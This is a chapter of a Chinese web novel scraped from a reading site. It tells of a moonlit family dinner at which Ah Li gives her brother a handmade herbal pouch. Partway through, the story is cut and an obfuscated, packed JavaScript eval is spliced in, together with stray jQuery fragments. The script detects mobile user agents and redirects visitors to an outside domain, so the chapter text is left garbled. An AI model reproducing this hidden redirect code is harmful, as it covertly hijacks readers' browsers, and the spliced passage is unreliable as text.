默认冷灰
24号文字
方正启体

11. 炮灰白月光10

作者:浥尘尘本书字数:K更新时间:
    很快便到了六月十五。


    这日宫中事务不多,贺父难得早早回了家,说要亲自下厨。


    阿离自然是欣喜不已,洗干净手跟在贺父身后打下手。


    贺家这间小院子原是一户富户发迹前所居,那家人三年前就赚得盆满钵满,举家搬去了江南一代,只留下两个老仆留京处理剩下的产业,这处小院子因地段差,房屋老旧,始终脱不了手。


    恰逢去年贺家上京,虽这处院子有诸多不好,但胜在便宜,在寸土寸金的京城实在难得,贺父便爽快定下了。


    院子仅够住下三人,厨房更是狭小逼仄,但此刻点起的几只微弱的烛灯却顷刻间驱散了冷意和黑暗,沉寂了许久的贺家终于热闹起来。


    阿离一边洗菜,一边与贺父轻声说着话。


    院子里贺之砚劈柴的声音一声声传来,也敲实了阿离连日来不安的心。


    她透过低低的窗户,瞧见外面圆月高悬,皎洁的月光倾泻而下,美不胜收。


    贺之砚将劈好的细柴捆好放到窗前,阿离笑着抱进来,转头向贺父道:“父亲,我们到庭中用饭吧,就着这月色。”


    贺父笑着应了。


    阿离将碗筷摆好在庭中的石桌上,转身便见贺之砚从屋里取出一壶酒,上面写着“桃花醉”三个字。


    贺父见了,笑开:“看来砚儿还藏了不少好酒,今晚我们一家人好好喝一次,明日一起去见你们娘亲。”


    阿离挨着贺父坐下,挽住他的手臂乖巧道:“娘亲也一定很想我们。”


    贺父心疼地拍拍阿离的手:“这些日子苦了你了,如今宫中贵人的情况都已大好,往后不会再这般忙碌了。”


    贺之砚为贺父倒满酒,到阿离这里却只有半杯,她咦了一声,拉住贺之砚的一只衣袖,道:“兄长,阿离能饮酒的。”


    贺之砚浅浅睨她一眼,收回手泰然坐下:“你身子才好,少饮为妙。”


    阿离不由肩头一塌,忽而杏眼闪烁几下,慢慢说道:“兄长连日辛苦,也合该少饮些。”


    说着她迅速起身,伸手挡住了贺之砚往自己酒杯里斟酒的动作。


    一只纤细白皙的手忽然伸到了他眼前,再往上是凸起的腕骨,贺之砚持壶的手不自觉地颤了一下,几滴酒液落到了她的手背上,桃花醉的香气瞬间迸开,未饮人已醉。


    贺之砚微微一怔,不合时宜地想起镖局兄弟们常说的话:他的剑法极准,即使是致命杀招也只留一点伤口。


    卞谒还曾玩笑说,贺之砚持剑的手是他见过的侠客中最稳的,便是以剑雕花也不在话下,若是日后不在镖局帮他的忙了,也可以此技谋生,必然是吃穿不愁。


    贺之砚不知现在自己面上是何神情,凝视自己的手片刻,又抬头见阿离正有些得意地看着他。


    “噢!兄长也有吃瘪的时候!”阿离欢呼一声,高兴地鼓起了掌,像只狡黠灵动的猫。


    贺之砚平静地收回目光,心跳却仿佛漏了几拍。


    阿离玩笑够了,见手背上面滴了酒,左右看看一时找不到帕子,便索性将手背贴上嘴唇,香醇的酒液滑入喉咙,如梦似幻。


    贺之砚递帕子的手僵在半空中。


    贺父欣慰地看着二人,笑得开怀:“好久不见你们兄妹这般说笑了,为父看着心中也舒畅。”


    贺之砚低低地应了声是。


    一家人久违的相聚,在院中坐到了月上枝头,素日寡言的贺父喝了酒话也多起来,从阿离小时候的趣事,说到这几十年行医的所见所闻。


    阿离双手托腮,笑盈盈地看着贺父,时不时应上几句。


    这些事情贺父虽已讲过多次,阿离却觉得怎么也听不够,他总是絮絮叨叨地讲起过去的事,阿离知道,他是想娘亲了。


    贺之砚安静地听着父女二人说笑,目光却总是不自觉地滑到阿离面上。


    虽只饮了半杯酒,但她的脸颊已泛起酡红,比镖局押送的那批上好的胭脂还好看。


    贺之砚下意识拿起酒杯,却喝了个空,只能默不作声地杯子放回去,站起身为贺父添酒。


    最后这顿饭以贺父醉倒收场。


    贺之砚和阿离一人搀一边,将贺父送回了屋子。


    出来时,阿离出声叫住贺之砚:“兄长留步,阿离……有件东西想要送给兄长。”


    见阿离神神秘秘的样子,贺之砚神情几番变化,跟在阿离身后,却被她推出了房门:“兄长在外面等着。”


    “砰”地一声,贺之砚吃了碗新鲜的闭门羹。


    他愣住,片刻,勾起嘴角笑了笑,卸了力靠在门廊上,双手抱胸仰头看向头顶的月光,眉眼舒展平和。


    不多时,身后的房门再次打开,贺之砚侧首,见阿离双手背在身后,也不看他,眼神飘忽不定:“兄长看到后不许笑阿离,若是不喜,也不许说出来。”


    贺之砚眼中笑意一闪而过,故意探过身子,想要看她藏着的东西,阿离却被吓得连连后退,一只手挡在二人之间:“不行不行!得答应了才能看!”


    贺之砚被她的手挡在原地,见她一副如临大敌的模样,与她对视许久,才施施然抱臂退后一步,点头。


    阿离这才深吸一口气,像是终于做好了准备,将东西从身后拿了出来。


    耗费阿离几月功夫做出来的药囊静静躺在她手心,鼓鼓胖胖的一只,卖相实在难以入眼。


    阿离心知肚明,自己这技法委实是糟蹋了那匹好料子。


    贺之砚只看了一眼,目光又回到阿离面上:“阿离亲做的吗?”


    阿离偷偷抬眼观察贺之砚的神情,不出所料地看不出任何情绪,她忐忑地盯着自己的鞋尖,默默点头。


    手上一空,阿离还没反应过来,贺之砚已将药囊系在了腰间。


    “我收下了。”


    阿离惊讶抬头:“啊?”


    不等她再说话,贺之砚已大步离开,颇有几分潇洒的意味。


    阿离只能快步跟上去:“可是这、这——”她也不知道自己想说什么。


    这样想着,没注意到前面的贺之砚已停了下来,阿离看不清前方的路,重重地撞了上去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668357|173030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她痛呼一声,捂着头蹲下,贺之砚连忙回身查看她的情况,皱眉:“撞疼了吗?”


    “不疼,没事的。”阿离下意识回答道。


    贺之砚有些生硬地将她捂着的手拿开,阿离的额头已通红一片,眸子也泛起泪花。


    冰凉的指尖抚上红肿处,他惯常冷淡的声音里藏着一丝别样的情绪:“这叫不疼吗?”


    阿离一直忍着的眼泪终于掉落,洇湿了贺之砚的衣袖。


    贺之砚将阿离扶到石阶坐下,又将烛灯挑亮了些,放在她脚边。


    阿离却拉住了贺之砚,指指他身上的药囊:“阿离在这里面放了许多化瘀止血的草药,还有保命解毒的丸药,本来还有一些,可是再装就装不下了。”


    阿离讪讪收回手:“阿离的女红其实也没那么差的……”


    贺之砚慢慢地摸了摸那只药囊,只觉腰间有千钧重。


    他坐到阿离面前,双手扶起她的肩膀,阿离抬眼,只见他的神情是前所未有的认真:“我会好好保重自己,会永远陪在阿离身边,不会离开。”


    阿离眼圈再次红了,重重点头:“兄长要永远记得今日说的。”


    见贺之砚应了,阿离破涕为笑,转身朝着空中的明月:“听隔壁婶婶说,她们乡下有一个习俗,每月十五月圆之时,朝月神娘娘诚心许愿,愿望就能很快实现。”


    她兴奋地拉着贺之砚到庭中:“我们一起朝月神娘娘许愿,她一定能听见的。”


    说罢,阿离闭上眼,双手合十。


    贺之砚心绪涌动,凝视她许久,深藏在眼底的情愫此刻翻涌上来,也学着她的样子闭上眼。


    片刻,他睁开眼,见阿离正看着他:“兄长许的什么愿?”


    贺之砚笑而不语。


    “阿离许的什么愿?”


    阿离想了想,看向头顶的漫天星空。


    “我希望父亲和兄长,长命百岁,无病无灾。”


    *


    第二日晨光初现,阿离收拾好了去普济寺的东西,推开门见庭中站着一个人,身姿挺拔,宛如青松。


    “兄长?”


    贺之砚转过身,接过阿离手上的东西:“头还疼吗?”


    阿离下意识摸了摸额头,昨夜贺之砚为她涂了药膏,现在还残有一丝清凉的感觉:“不疼了。”


    见正屋的灯还熄着,阿离以为是昨夜饮多了酒,贺父还未起身,便打算去叫醒他。


    贺之砚却拦下了她:“父亲一个时辰前便起了,而后宫中来人将父亲叫走了,似乎是有急事。”


    宫里来人时,贺之砚也在,一个内侍并三四个侍卫天不亮就敲响了贺家的门,只说了几句话便带着贺父往宫里去了。


    贺之砚心中隐隐觉得不太对,但他不想吓到阿离。


    阿离果然有些失望,眉眼耷拉着:“娘亲的生辰和祭辰,父亲都不去吗?”


    贺之砚压下心中思虑,目光微垂:“宫里病情反复也是有的,我陪着你去。”


    阿离勉强笑了笑,答应下来:“好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)